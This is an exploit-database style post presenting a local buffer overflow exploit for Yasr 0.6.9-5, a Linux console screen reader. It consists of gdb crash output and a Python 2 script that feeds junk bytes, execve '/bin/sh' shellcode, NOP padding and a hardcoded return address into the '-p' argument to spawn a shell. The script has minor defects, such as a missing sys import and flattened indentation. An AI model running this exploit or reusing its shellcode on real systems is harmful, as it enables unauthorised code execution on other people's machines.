Yasr 0.6.9-5 Buffer Overflow

`# Exploit Author: Juan Sacco - http://www.exploitpack.com -  
[email protected]  
# Program affected: General-purpose console screen reader  
# Version: 0.6.9-5  
#  
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org  
# Program description: Yasr is a general-purpose console screen reader  
for GNU/Linux and other Unix-like operating systems.  
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb  
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8  
# Website: http://yasr.sourceforge.net/  
#  
#  
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')  
# [Thread debugging using libthread_db enabled]  
# Using host libthread_db library  
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".  
# Program received signal SIGSEGV, Segmentation fault.  
#  
# 0x90909090 in ?? ()  
#  
#gdb$ backtrace  
#0 0xb7fdebe0 in __kernel_vsyscall ()  
#1 0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at  
../nptl/sysdeps/unix/sysv/linux/raise.c:56  
#2 0xb7e34a23 in __GI_abort () at abort.c:89  
#3 0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,  
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at  
../sysdeps/posix/libc_fatal.c:175  
#4 0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696  
"buffer overflow detected") at fortify_fail.c:31  
#5 0xb7effc3a in __GI___chk_fail () at chk_fail.c:28  
  
import os, subprocess  
  
def run():  
try:  
print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"  
print "# This exploit is for educational purposes only"  
# JUNK + SHELLCODE + NOPS + EIP  
  
junk = "\x41"*298  
shellcode =  
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"  
nops = "\x90"*12  
eip = "\xd2\xf3\xff\xbf"  
subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "Sorry, Yasr Console Reader - Not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Snap! Something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"  
print "Author: Juan Sacco"  
except IndexError:  
howtousage()  
run()  
`